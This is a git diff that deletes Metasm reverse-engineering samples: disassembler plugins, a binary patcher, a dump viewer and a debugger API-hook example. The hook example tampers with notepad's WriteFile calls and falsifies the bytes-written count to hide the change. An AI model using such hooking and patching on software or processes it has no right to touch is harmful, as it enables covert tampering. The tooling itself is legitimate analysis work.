a/lib/metasm/samples/dasm-plugins/match_libsigs.rb b/lib/metasm/samples/dasm-plugins/match_libsigs.rb deleted file mode 100644 index 682d8b66d0..0000000000 --- a/lib/metasm/samples/dasm-plugins/match_libsigs.rb +++ /dev/null @@ -1,93 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: allow loading library signature files (see samples/generate_libsigs.rb) - -class LibSignature -attr_accessor :sigs, :siglenmax, :giantregex -# load signatures from a signature file -def initialize(file) - # hash symbolname => signature - @sigs = {} - - # populate sigs - symname = nil - sig = '' - File.read(file).each_line { |l| - case l - when /^ / - sig << l.strip - else - @sigs[symname] = sig - symname = l.strip - sig = '' - end - } - @sigs[symname] = sig - @sigs.delete nil - @siglenmax = @sigs.values.map { |v| v.length }.max - - # compile a giant regex from the signatures - re = @sigs.values.uniq.map { |sigh| - sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } - }.join('|') - - # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail) - @giantregex = Regexp.new re, Regexp::MULTILINE, 'n' -end - -# we found a match on str at off, identify the specific symbol that matched -# on conflict, only return the first match -def matched_findsym(str, off) - str = str[off, @siglenmax].unpack('H*').first - @sigs.find { |sym, sig| str =~ /^#{sig}/i }[0] -end - -# matches the signatures against a raw string -# yields offset, symname for each match -# returns nr of matches found -def match_chunk(str) - count = 0 - off = 0 - while o = (str[off..-1] =~ @giantregex) - count += 1 - off += o - sym = matched_findsym(str, off) - yield off, sym - off += 1 - end - count -end - -# matches the signatures against a big raw string -# yields offset, symname for each match -# returns nr of matches found -def match(str) - chunksz = 1 << 20 - - chunkoff = 0 - count = 0 - while chunkoff < str.length - chunk = str[chunkoff, chunksz+@siglenmax] - count += match_chunk(chunk) { |o, sym| yield chunkoff+o, sym if o < chunksz } - chunkoff += chunksz - end - count -end -end - -def match_libsigs(sigfile) - ls = LibSignature.new(sigfile) - count = 0 - @sections.each { |b, s| - count += ls.match(s.data) { |off, sym| set_label_at(b+off, sym) } - } - count -end - -if gui - gui.openfile('signature file to load') { |f| gui.messagebox "#{match_libsigs(f)} signatures found" } -end diff --git a/lib/metasm/samples/dasm-plugins/patch_file.rb b/lib/metasm/samples/dasm-plugins/patch_file.rb deleted file mode 100644 index 694f4930ac..0000000000 --- a/lib/metasm/samples/dasm-plugins/patch_file.rb +++ /dev/null @@ -1,95 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: allow patching the file from the dasm interface -# use P to assemble a new instruction at the current address - -# backup the executable file -def backup_program_file - f = @program.filename - if File.exist?(f) and not File.exist?(f + '.bak') - File.open(f + '.bak', 'wb') { |wfd| - File.open(f, 'rb') { |rfd| - while buf = rfd.read(1024*1024) - wfd.write buf - end - } - } - end -end - -# create a backup and reopen the backend VirtualFile RW -def reopen_rw(addr=nil, edata=nil) - if not edata - sections.each { |k, v| reopen_rw(k, v) } - return true - end - - return if not File.writable?(@program.filename) - backup_program_file - if not edata.data.kind_of? VirtualFile - # section too small, loaded as real String - # force reopen as VFile (allow hexediting in gui) - return if not off = addr_to_fileoff(addr) - len = edata.data.length - edata.data = VirtualFile.read(@program.filename, 'rb+').dup(off, len) - else - edata.data.fd.reopen @program.filename, 'rb+' - end -end - -raise "cant find original file" if not @program.filename or not File.exist? @program.filename - -reopen_rw - -def patch_instrs(addr, asmsrc) - sc = Metasm::Shellcode.new(cpu, addr) # pfx needed for autorequire - sc.assemble(asmsrc, cpu) - sc.encoded.fixup! prog_binding # allow references to dasm labels in the shellcode - raw = sc.encode_string - - if s = get_section_at(addr) and s[0].data.kind_of? VirtualFile - s[0][s[0].ptr, raw.length] = raw - elsif o = addr_to_fileoff(addr) # section too small, not loaded as a VirtFile - backup_program_file - File.open(@program.filename, 'rb+') { |fd| - fd.pos = o - fd.write raw - } - s[0][s[0].ptr, raw.length] = raw if s - else - return - end - - b = split_block(addr) - - # clear what we had in the rewritten space - raw.length.times { |rawoff| - next if not di = di_at(addr+rawoff) - di.block.list.each { |ldi| @decoded.delete ldi.address } - } - - disassemble_fast(addr) if b - if b and @decoded[addr] - nb = @decoded[addr].block - nb.from_normal = b.from_normal - nb.from_subfuncret = b.from_subfuncret - nb.from_indirect = b.from_indirect - end - true -end - -if gui - gui.keyboard_callback[?P] = lambda { |k| - addr = gui.curaddr - gui.inputbox('new instructions') { |src| - src = src.gsub(/;\s+/, "\n") - patch_instrs(addr, src) - gui.gui_update - } - true - } -end diff --git a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb deleted file mode 100644 index 9c2efb65f0..0000000000 --- a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb +++ /dev/null @@ -1,36 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: scan the memory for a 'ret' which could indicate the beginning of the current function -# (x86 only) -def scanfuncstart(addr) - if o = (1..16).find { |off| @decoded[addr-off].kind_of? DecodedInstruction } and @decoded[addr-o].bin_length == o - addr -= o - end - if @decoded[addr].kind_of? DecodedInstruction - fs = find_function_start(addr) - return fs if fs != addr - end - edata = get_edata_at(addr) - if o = (1..1000).find { |off| - @decoded[addr-off-1] or - edata.data[edata.ptr-off-1] == ?\xcc or - edata.data[edata.ptr-off-1] == ?\xc3 or - edata.data[edata.ptr-off-3] == ?\xc2 - } - o -= @decoded[addr-o-1].bin_length-1 if @decoded[addr-o-1].kind_of? DecodedInstruction - addr-o - end -end - -if gui - gui.keyboard_callback_ctrl[?P] = lambda { |*a| - if o = scanfuncstart(gui.curaddr) - gui.focus_addr(o) - end - true - } -end diff --git a/lib/metasm/samples/dasm-plugins/scanxrefs.rb b/lib/metasm/samples/dasm-plugins/scanxrefs.rb deleted file mode 100644 index e90803c4ce..0000000000 --- a/lib/metasm/samples/dasm-plugins/scanxrefs.rb +++ /dev/null @@ -1,26 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: scan for xrefs to the target address, incl. relative offsets (eg near call/jmp) -def scanxrefs(target) - ans = [] - sections.sort.each { |s_addr, edata| - raw = edata.data.to_str - (0..raw.length-4).each { |off| - r = raw[off, 4].unpack('V').first - ans << (s_addr + off) if (r + off+4 + s_addr)&0xffffffff == target or r == target - } - } - ans -end - -gui.keyboard_callback[?X] = lambda { |*a| - target = gui.curaddr - ans = scanxrefs(target) - list = [['addr']] + ans.map { |off| [Expression[off].to_s] } - gui.listwindow("scanned xrefs to #{Expression[target]}", list) { |i| gui.focus_addr i[0] } - true -} if gui diff --git a/lib/metasm/samples/dasm-plugins/selfmodify.rb b/lib/metasm/samples/dasm-plugins/selfmodify.rb deleted file mode 100644 index d2dce572c5..0000000000 --- a/lib/metasm/samples/dasm-plugins/selfmodify.rb +++ /dev/null @@ -1,197 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# This file tries to handle simple self-modifying code patterns -# To be used as a --plugin for a Disassembler object -# - -module SMC - -# a copy-on-write copy of dasm address space (continuous segment only) -class CoWData - attr_accessor :startaddr, :data - def initialize(dasm) - @dasm = dasm - @startaddr = 0 - @data = '' - end - - # return a substring, either from the local cache or from dasm - # handles overlap - def [](addr, len) - if @data.empty? - s, e = @dasm.get_section_at(addr) - return if not s - return s.read(len) - end - raddr = addr - @base - rstart = @startaddr - @base - if raddr >= rstart and raddr+len <= rstart+@data.length - @data[0, raddr+len-rstart] - else - s, e = @dasm.get_section_at(addr) - return if not s - obuf = s.read(len) - len = obuf.length - if raddr < rstart and raddr+len > rstart - olen = [raddr+len-rstart, @data.length].min - obuf[rstart-raddr, olen] = @data[0, olen] - elsif raddr < rstart+@data.length and raddr+len > rstart+@data.length - obuf[0, rstart+@data.length-raddr] = @data[raddr-rstart, rstart+@data.length-raddr] - end - obuf - end - end - - # set a substring value in the cache - def []=(addr, len, newdata) - raise 'len mismatch' if len != newdata.length - if @data.empty? - @base = @startaddr = addr - @data << newdata - return - end - raddr = addr - @base - rstart = @startaddr - @base - if raddr+newdata.length < rstart - s, e = @dasm.get_section_at(addr) - raise if not s - obuf = s.read(rstart-(raddr+newdata.length)) - raise if obuf.length != rstart-(raddr+newdata.length) - newdata += obuf - elsif raddr > rstart+@data.length - s, e = @dasm.get_section_at(@startaddr+@data.length) - raise if not s - obuf = s.read(raddr-(rstart+@data.length)) - raise if obuf.length != raddr-(rstart+@data.length) - @data += obuf - end - if raddr < rstart - @data = newdata + @data[raddr+newdata.length-rstart..-1].to_s - @startaddr = addr - else - @data[raddr-rstart, newdata.length] = newdata - end - end -end - -VirtSections = {} - -# try to emulate the byte modifications -# creates a new virtual section in dasm holding decoded data -# adds the virtual section to the dasm, stores the addresses in VirtSections[dasm] -# returns true if successful -def self.emu(dasm, addr) - puts "emulate SMC @#{Metasm::Expression[addr]}" if $VERBOSE - - writer = nil - dasm.each_xref(addr, :w) { |xr| writer = xr.origin } - return if not dasm.di_at(writer) - - a_pre, a_entry, a_cond, a_out, loop_bd = find_loop(dasm, writer) - return if not a_pre - - # expression checking if we get out of the loop - loop_again_cond = dasm.cpu.get_jump_condition(dasm.decoded[a_cond]) - loop_again_cond = Expression[:'!', loop_again_cond] if dasm.decoded[a_cond].next_addr != a_out - - init_bd = {} - loop_bd.keys.grep(Symbol).each { |reg| - bt = dasm.backtrace(reg, a_pre, :include_start => true) - init_bd[reg] = bt.first if bt.length == 1 and bt.first != Metasm::Expression::Unknown and bt.first != Metasm::Expression[reg] - } - - # reject non-determinist memory write - loop_bd.delete_if { |k, v| k.kind_of? Metasm::Indirection and not dasm.get_section_at(k.pointer.bind(init_bd).reduce) } - - cow_data = CoWData.new(dasm) - - puts "emulation running..." if $VERBOSE - pre_bd = init_bd - loop do - # the effects of the loop - post_bd = loop_bd.inject({}) { |bd, (k, v)| - if k.kind_of? Metasm::Indirection - k = k.bind(pre_bd).reduce_rec - raise "bad ptr #{k}" if not dasm.get_section_at(k.pointer.reduce) - end - bd.update k => Metasm::Expression[v.bind(pre_bd).reduce] - } - - # the indirections used by the loop - # read mem from cow_data - # ignores stacked indirections & keys - ind_bd = {} - post_bd.values.map { |v| v.expr_indirections }.flatten.uniq.each { |ind| - p = ind.pointer.reduce - raise "bad loop read #{ind}" if not p.kind_of? Integer - ind_bd[ind] = Metasm::Expression.decode_imm(cow_data[p, ind.len], "u#{ind.len*8}".to_sym, dasm.cpu.endianness) - } - - post_bd.each { |k, v| - next if not k.kind_of? Metasm::Indirection - cow_data[k.pointer.reduce, k.len] = Metasm::Expression.encode_imm(v.bind(ind_bd).reduce, "u#{k.len*8}".to_sym, dasm.cpu.endianness) - } - - break if loop_again_cond.bind(post_bd).reduce == 0 - - pre_bd = post_bd - pre_bd.delete_if { |k, v| not k.kind_of? Symbol } - end - - puts "emulation done (#{cow_data.data.length} bytes)" if $VERBOSE - - VirtSections[dasm] ||= {} - newbase = "smc#{VirtSections[dasm].length}" - VirtSections[dasm][addr] = newbase - dasm.add_section(Metasm::EncodedData.new(cow_data.data), newbase) - dasm.comment[Metasm::Expression[newbase]] = "SelfModifyingCode from #{dasm.decoded[writer]}" - - true -end - -# find the loop containing addr -# only trivial loops handled -# returns [loop start, last instr before loop, loop conditionnal jump, 1st instr after loop, loop binding] -def self.find_loop(dasm, addr) - b = dasm.decoded[addr].block - return if not b.to_normal.to_a.include? b.address - b1 = b2 = b - - pre = (b1.from_normal - [b2.list.last.address]).first - first = b1.address - last = b2.list.last.address - post = (b2.to_normal - [b1.address]).first - loop_bd = dasm.code_binding(first, post) - - [pre, first, last, post, loop_bd] -end - -# redirects the code flow from addr to the decoded section -def self.redirect(dasm, addr) - return if not VirtSections[dasm] or not newto = Metasm::Expression[VirtSections[dasm][addr]] - dasm.each_instructionblock { |b| - next if not b.to_normal.to_a.include? addr - b.to_normal.map! { |tn| dasm.normalize(tn) == addr ? newto : tn } - dasm.add_xref(newto, Metasm::Xref.new(:x, b.list.last.address)) - b.list.last.add_comment "x:#{newto}" - dasm.addrs_todo << [newto, b.list.last.address] - } -end -end - -if self.kind_of? Metasm::Disassembler -# setup the smc callbacks -dasm = self -list = [] -dasm.callback_selfmodifying = lambda { |addr| list << addr } -dasm.callback_finished = lambda { - while addr = list.pop - SMC.emu(dasm, addr) and SMC.redirect(dasm, addr) - end -} -end diff --git a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb deleted file mode 100644 index 14f9efde46..0000000000 --- a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb +++ /dev/null @@ -1,28 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin -# walks all disassembled instructions referencing an address -# if this address points a C string, show that in the instruction comments -# esp. useful after a disassemble_fast - -def stringsxrefs(maxsz = 32) - @decoded.each_value { |di| - next if not di.kind_of?(DecodedInstruction) - di.instruction.args.grep(Expression).each { |e| - if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/ - di.add_comment str[0, maxsz].inspect - add_xref(normalize(e), Xref.new(:r, di.address, 1)) - end - } - } - nil -end - -if gui - stringsxrefs - gui.gui_update -end diff --git a/lib/metasm/samples/dasmnavig.rb b/lib/metasm/samples/dasmnavig.rb deleted file mode 100644 index 8c59eb0e83..0000000000 --- a/lib/metasm/samples/dasmnavig.rb +++ /dev/null @@ -1,318 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this is a little script to navigate in a disassembler dump -# - -# copypasted from lindebug.rb -module Ansi - CursHome = "\e[H".freeze - ClearLineAfter = "\e[0K" - ClearLineBefore = "\e[1K" - ClearLine = "\e[2K" - ClearScreen = "\e[2J" - def self.set_cursor_pos(y=1,x=1) "\e[#{y};#{x}H" end - Reset = "\e[m" - Colors = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white, :aoeu, :reset] - def self.color(*args) - fg = true - "\e[" << args.map { |a| - case a - when :bold; 2 - when :negative; 7 - when :normal; 22 - when :positive; 27 - else - if col = Colors.index(a) - add = (fg ? 30 : 40) - fg = false - col+add - end - end - }.compact.join(';') << 'm' - end - def self.hline(len) "\e(0"<<'q'*len<<"\e(B" end - - TIOCGWINSZ = 0x5413 - TCGETS = 0x5401 - TCSETS = 0x5402 - CANON = 2 - ECHO = 8 - def self.get_terminal_size - s = ''.ljust(8) - $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25] - end - def self.set_term_canon(bool) - tty = ''.ljust(256) - $stdin.ioctl(TCGETS, tty) - if bool - tty[12] &= ~(ECHO|CANON) - else - tty[12] |= ECHO|CANON - end - $stdin.ioctl(TCSETS, tty) - end - - ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left, - '1~' => :home, '2~' => :inser, '3~' => :suppr, '4~' => :end, - '5~' => :pgup, '6~' => :pgdown, - 'P' => :f1, 'Q' => :f2, 'R' => :f3, 'S' => :f4, - '15~' => :f5, '17~' => :f6, '18~' => :f7, '19~' => :f8, - '20~' => :f9, '21~' => :f10, '23~' => :f11, '24~' => :f12, - '[A' => :f1, '[B' => :f2, '[C' => :f3, '[D' => :f4, '[E' => :f5, - 'H' => :home, 'F' => :end, - } - def self.getkey - c = $stdin.getc - return c if c != ?\e - c = $stdin.getc - if c != ?[ and c != ?O - $stdin.ungetc c - return ?\e - end - seq = '' - loop do - c = $stdin.getc - seq << c - case c; when ?a..?z, ?A..?Z, ?~; break end - end - ESC_SEQ[seq] || seq - end -end - -class Viewer - attr_accessor :text, :pos, :x, :y - - Color = { - :normal => Ansi.color(:white, :black, :normal), - :comment => Ansi.color(:blue), - :label => Ansi.color(:green), - :hilight => Ansi.color(:yellow), - } - - - def initialize(text) - text = File.read(text) if File.exist? text rescue nil - @text = text.gsub("\t", " "*8).to_a.map { |l| l.chomp } - @pos = @posh = 0 - @x = @y = 0 - @mode = :navig - @searchtext = 'x' - @posstack = [] - @h, @w = Ansi.get_terminal_size - @h -= 2 - @w -= 1 - if y = @text.index('entrypoint:') - view(0, y) - end - end - - def main_loop - Ansi.set_term_canon(true) - $stdout.write Ansi::ClearScreen - begin - loop do - refresh if not IO.select([$stdin], nil, nil, 0) - handle_key(Ansi.getkey) - end - ensure - Ansi.set_term_canon(false) - $stdout.write Ansi.set_cursor_pos(@h+2, 0) + Ansi::ClearLineAfter - end - end - - def refresh - case @mode - when :navig - refresh_navig - when :search - refresh_search - end - end - - def refresh_navig - str = '' - #str << Ansi::ClearScreen - str << Ansi.set_cursor_pos(0, 0) - hl = readtext - (0..@h).each { |h| - l = @text[@pos+h] || '' - str << outline(l, hl) << Ansi::ClearLineAfter << "\n" - } - str << Ansi.set_cursor_pos(@y+1, @x+1) - $stdout.write str - end - - def refresh_search - $stdout.write '' << Ansi.set_cursor_pos(@h+2, 1) << '/' << @searchtext << Ansi::ClearLineAfter - end - - def outline(l, hl=nil) - l = l[@posh, @w] || '' - hlr = /\b#{Regexp.escape(hl)}\b/i if hl - case l - when /^\/\//; Color[:comment] + l + Color[:normal] - when /^\S+:$/; Color[:label] + l + Color[:normal] - when /^(.*)(;.*)$/ - str = $1 - cmt = $2 - str.gsub!(hlr, Color[:hilight]+hl+Color[:normal]) if hl - str + Color[:comment] + cmt + Color[:normal] - else - l = l.gsub(hlr, Color[:hilight]+hl+Color[:normal]) if hl - l - end - end - - def search_prev - return if @searchtext == '' - y = @pos+@y-1 - loop do - y = @text.length-1 if not @text[y] or y < 0 - if x = (@text[y] =~ /#@searchtext/i) - view(x, y) - return - end - y -= 1 - break if y == @pos+@y - end - end - - def search_next - return if @searchtext == '' - y = @pos+@y+1 - loop do - y = 0 if not @text[y] - if x = (@text[y] =~ /#@searchtext/i) - view(x, y) - return - end - break if y == @pos+@y or (y >= @text.length and not @text[@pos+@y]) - y += 1 - end - end - - def view(x, y) - @posh, @x = 0, x - if @x > @w - @posh = @w-@x - @x = @w - end - if @pos+@h < y - @y = @h/2-1 - @pos = y-@y - elsif @pos > y - @y = 1 - @pos = y-@y - else - @y = y-@pos - end - end - - def readtext - return if not l = @text[@pos+@y] - x = (l.rindex(/\W/, [@posh+@x-1, 0].max) || -1)+1 - t = l[x..-1][/^\w+/] - t if t and @posh+@x < x+t.length - end - - def handle_key(k) - case @mode - when :navig - handle_key_navig(k) - when :search - handle_key_search(k) - end - end - - def handle_key_search(k) - case k - when ?\n; @mode = :navig ; @posstack << [@posh, @pos, @x, @y] ; search_next - when 0x20..0x7e; @searchtext << k - when :backspace, 0x7f; @searchtext.chop! - end - end - - def handle_key_navig(k) - case k - when :f1 - if not @posstack.empty? - @posh, @pos, @x, @y = @posstack.pop - end - when ?\n - return if not label = readtext - return if label.empty? or not newy = @text.index(@text.find { |l| l[0, label.length] == label }) or newy == @pos+@y - @posstack << [@posh, @pos, @x, @y] - view(0, newy) - when :up - if @y > 0; @y -= 1 - elsif @pos > 0; @pos -= 1 - end - when :down - if @y < @h; @y += 1 - elsif @pos < text.length-@h; @pos += 1 - end - when :home - @x = @posh = 0 - when :end - @x = @text[@pos+@y].length - @posh, @x = @x-@w, @w if @x > @w - when :left - x = @text[@pos+@y].rindex(/\W\w/, [@posh+@x-2, 0].max) - x = x ? x+1 : @posh+@x-1 - x = @posh+@x-3 if x < @posh+@x-3 - x = 0 if x < 0 - if x < @posh; @posh, @x = x, 0 - else @x = x-@posh - end - #if @x > 0; @x -= 1 - #elsif @posh > 0; @posh -= 1 - #end - when :right - x = @text[@pos+@y].index(/\W\w/, @posh+@x) - x = x ? x+1 : @posh+@x+1 - x = @posh+@x+3 if x > @posh+@x+3 - if x > @posh+@w; @posh, @x = x-@w, @w - else - @x = x-@posh - @posh, @x = @x-@w, @w if @x > @w - end - #if @x < @w; @x += 1 - #elsif @posh+@w < (@text[@pos, @h].map { |l| l.length }.max); @posh += 1 - #end - when :pgdown - if @y < @h/2; @y += @h/2 - elsif @pos < @text.length-3*@h/2; @pos += @h/2 ; @y = @h - else @pos = [0, @text.length-@h].max ; @y = @h - end - when :pgup - if @y > @h/2; @y -= @h/2 - elsif @pos > @h/2; @pos -= @h/2 ; @y = 0 - else @pos = @y = 0 - end - when ?q; exit - when ?o; @text.insert(@pos+@y+1, '') - when ?O; @text.insert(@pos+@y, '') ; handle_key_navig(:down) - when :suppr; @text.delete_at(@pos+@y) if @text[@pos+@y] == '' - when ?D; @text.delete_at(@pos+@y) - when ?/ - @mode = :search - @searchtext = '' - when ?* - @searchtext = readtext || '' - search_next - when ?n; search_next - when ?N; search_prev - when :f5 - ARGV << '--reload' - load $0 - end - end -end - -if $0 == __FILE__ and not ARGV.delete '--reload' - Viewer.new(ARGF.read).main_loop -end diff --git a/lib/metasm/samples/dbg-apihook.rb b/lib/metasm/samples/dbg-apihook.rb deleted file mode 100644 index 02b8c1447a..0000000000 --- a/lib/metasm/samples/dbg-apihook.rb +++ /dev/null @@ -1,243 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# This sample defines an ApiHook class, that you can subclass to easily hook functions -# in a debugged process. Your custom function will get called whenever an API function is, -# giving you access to the arguments, you can also take control just before control returns -# to the caller. -# See the example in the end for more details. -# As a standalone application, it hooks WriteFile in the 'notepad' process, and make it -# skip the first two bytes of the buffer. -# - -require 'metasm' - -class ApiHook - attr_accessor :dbg - - # rewrite this function to list the hooks you want - # return an array of hashes - def setup - #[{ :function => 'WriteFile', :abi => :stdcall }, # standard function hook - # { :module => 'Foo.dll', :rva => 0x2433, # arbitrary code hook - # :abi => :fastcall, :hookname => 'myhook' }] # hooks named pre_myhook/post_myhook - end - - # initialized from a Debugger or a process description that will be debugged - # sets the hooks up, then run_forever - def initialize(dbg) - if not dbg.kind_of? Metasm::Debugger - process = Metasm::OS.current.find_process(dbg) - raise 'no such process' if not process - dbg = process.debugger - end - @dbg = dbg - begin - setup.each { |h| setup_hook(h) } - init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop - @dbg.run_forever - rescue Interrupt - @dbg.detach #rescue nil - end - end - - # setup one function hook - def setup_hook(h) - @las ||= false - if not h[:lib] and not @las - @dbg.loadallsyms - @las = false - elsif h[:lib] - # avoid loadallsyms if specified (regexp against pathname, not exported lib name) - @dbg.loadsyms(h[:lib]) - end - - pre = "pre_#{h[:hookname] || h[:function]}" - post = "post_#{h[:hookname] || h[:function]}" - - nargs = h[:nargs] || method(pre).arity if respond_to?(pre) - - if target = h[:address] - elsif target = h[:rva] - modbase = @dbg.modulemap[h[:module]] - raise "cant find module #{h[:module]} in #{@dbg.modulemap.join(', ')}" if not modbase - target += modbase[0] - else - target = h[:function] - end - - @dbg.bpx(target, false, h[:condition]) { - @nargs = nargs - catch(:finish) { - @cur_abi = h[:abi] - @ret_longlong = h[:ret_longlong] - if respond_to? pre - args = read_arglist - send pre, *args - end - if respond_to? post - @dbg.bpx(@dbg.func_retaddr, true) { - retval = read_ret - send post, retval, args - } - end - } - } - end - - # retrieve the arglist at func entry, from @nargs & @cur_abi - def read_arglist - nr = @nargs - args = [] - - if (@cur_abi == :fastcall or @cur_abi == :thiscall) and nr > 0 - args << @dbg.get_reg_value(:ecx) - nr -= 1 - end - - if @cur_abi == :fastcall and nr > 0 - args << @dbg.get_reg_value(:edx) - nr -= 1 - end - - nr.times { |i| args << @dbg.func_arg(i) } - - args - end - - # retrieve the function returned value - def read_ret - ret = @dbg.func_retval - if @ret_longlong - ret = (ret & 0xffffffff) | (@dbg[:edx] << 32) - end - ret - end - - # patch the value of an argument - # only valid in pre_hook - # nr starts at 0 - def patch_arg(nr, value) - case @cur_abi - when :fastcall - case nr - when 0 - @dbg.set_reg_value(:ecx, value) - return - when 1 - @dbg.set_reg_value(:edx, value) - return - else - nr -= 2 - end - when :thiscall - case nr - when 0 - @dbg.set_reg_value(:ecx, value) - return - else - nr -= 1 - end - end - - @dbg.func_arg_set(nr, value) - end - - # patch the function return value - # only valid post_hook - def patch_ret(val) - if @ret_longlong - @dbg.set_reg_value(:edx, (val >> 32) & 0xffffffff) - val &= 0xffffffff - end - @dbg.func_retval_set(val) - end - - # skip the function call - # only valid in pre_hook - def finish(retval) - patch_ret(retval) - @dbg.ip = @dbg.func_retaddr - case @cur_abi - when :fastcall - @dbg[:esp] += 4*(@nargs-2) if @nargs > 2 - when :thiscall - @dbg[:esp] += 4*(@nargs-1) if @nargs > 1 - when :stdcall - @dbg[:esp] += 4*@nargs - end - @dbg.sp += @dbg.cpu.size/8 - throw :finish - end -end - - - -if __FILE__ == $0 - -# this is the class you have to define to hook -# -# setup() defines the list of hooks as an array of hashes -# for exported functions, simply use :function => function name -# for arbitrary hook, :module => 'module.dll', :rva => 0x1234, :hookname => 'myhook' (call pre_myhook/post_myhook) -# :abi can be :stdcall (windows standard export), :fastcall or :thiscall, leave empty for cdecl -# if pre_<function> is defined, it is called whenever the function is entered, via a bpx (int3) -# if post_<function> is defined, it is called whenever the function exists, with a bpx on the return address setup at func entry -# the pre_hook receives all arguments to the original function -# change them with patch_arg(argnr, newval) -# read memory with @dbg.memory_read_int(ptr), or @dbg.memory[ptr, length] -# skip the function call with finish(fake_retval) (!) needs a correct :abi & param count ! -# the post_hook receives the function return value -# change it with patch_ret(newval) -class MyHook < ApiHook - def setup - [{ :function => 'WriteFile', :abi => :stdcall }] - end - - def init_prerun - puts "hooks ready, save a file in notepad" - end - - def pre_WriteFile(handle, pbuf, size, pwritten, overlap) - # we can skip the function call with this - #finish(28) - - # spy on the api / trace calls - bufdata = @dbg.memory[pbuf, size] - puts "writing #{bufdata.inspect}" - - # but we can also mess with the args - # ex: skip first 2 bytes of the buffer - patch_arg(1, pbuf+2) - patch_arg(2, size-2) - end - - def post_WriteFile(retval, arglistcopy) - # we can patch the API return value with this - #patch_retval(42) - - # finish messing with the args: fake the nrofbyteswritten - #handle, pbuf, size, pwritten, overlap = arglistcopy - size, pwritten = arglistcopy.values_at(2, 3) - written = @dbg.memory_read_int(pwritten) - if written == size - # if written everything, patch the value so that the program dont detect our intervention - @dbg.memory_write_int(pwritten, written+2) - end - - puts "write retval: #{retval}, written: #{written} bytes" - end -end - -Metasm::OS.current.get_debug_privilege if Metasm::OS.current.respond_to? :get_debug_privilege - -# run our Hook engine on a running 'notepad' instance -MyHook.new('notepad') - -# the script ends when notepad exits - -end diff --git a/lib/metasm/samples/dbg-plugins/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan.rb deleted file mode 100644 index ad40fa2522..0000000000 --- a/lib/metasm/samples/dbg-plugins/heapscan.rb +++ /dev/null @@ -1,283 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm debugger plugin -# adds some heap_* functions to interract with the target heap chunks -# functions: -# heap_scan, scan for malloc chunks in the heaps and xrefs between them -# heap_scanstruct, scan for arrays/linkedlists in the chunk graph -# heap_chunk [addr], display a chunk -# heap_array [addr], display an array of chunks from their root -# heap_list [addr], display a linkedlist -# heap_strscan [str], scan the memory for a raw string, display chunks xrefs -# heap_snap, make a snapshot of the currently displayed structure, hilight fields change - - -# use precompiled native version when available -$heapscan_dir = File.join(File.dirname(plugin_filename).gsub('\\', '/'), 'heapscan') -require File.join($heapscan_dir, 'heapscan') - -fname = case OS.current.shortname -when 'linos' - 'compiled_heapscan_lin' -when 'winos' - case OS.current.version[0] - when 5; 'compiled_heapscan_win' - when 6; 'compiled_heapscan_win7' - end -end -fname = File.join($heapscan_dir, fname) -if not File.exist?(fname + '.so') and File.exist?(fname + '.c') - puts "compiling native scanner..." - exe = DynLdr.host_exe.compile_c_file(DynLdr.host_cpu, fname + '.c') - DynLdr.compile_binary_module_hack(exe) - exe.encode_file(fname + '.so', :lib) -end -require fname if File.exist?(fname + '.so') - -def heapscan_time(s='') - @heapscan_time ||= nil - t = Time.now - log s + ' %.2fs' % (t-@heapscan_time) if @heapscan_time and s != '' - @heapscan_time = t - Gui.main_iter if gui -end - -def heap; @heap ; end -def heap=(h) ; @heap = h ; end - -def heapscan_scan(xr=true) - heaps = [] - mmaps = [] - libc = nil - pr = os_process - pr.mappings.each { |a, l, p, f| - case f.to_s - when /heap/ - heaps << [a, l] - when /libc[^a-zA-Z]/ - libc ||= a if p == 'r-xp' - when '' - mmaps << [a, l] - end - } - - heapscan_time '' - @disassembler.parse_c '' - if pr and OS.current.name =~ /winos/i - if OS.current.version[0] == 5 - @heap = WindowsHeap.new(self) - @heap.cp = @disassembler.c_parser - @heap.cp.parse_file File.join($heapscan_dir, 'winheap.h') unless @heap.cp.toplevel.struct['_HEAP'] - else - @heap = Windows7Heap.new(self) - @heap.cp = @disassembler.c_parser - @heap.cp.parse_file File.join($heapscan_dir, 'winheap7.h') unless @heap.cp.toplevel.struct['_HEAP'] - end - @heap.heaps = heaps - else - @heap 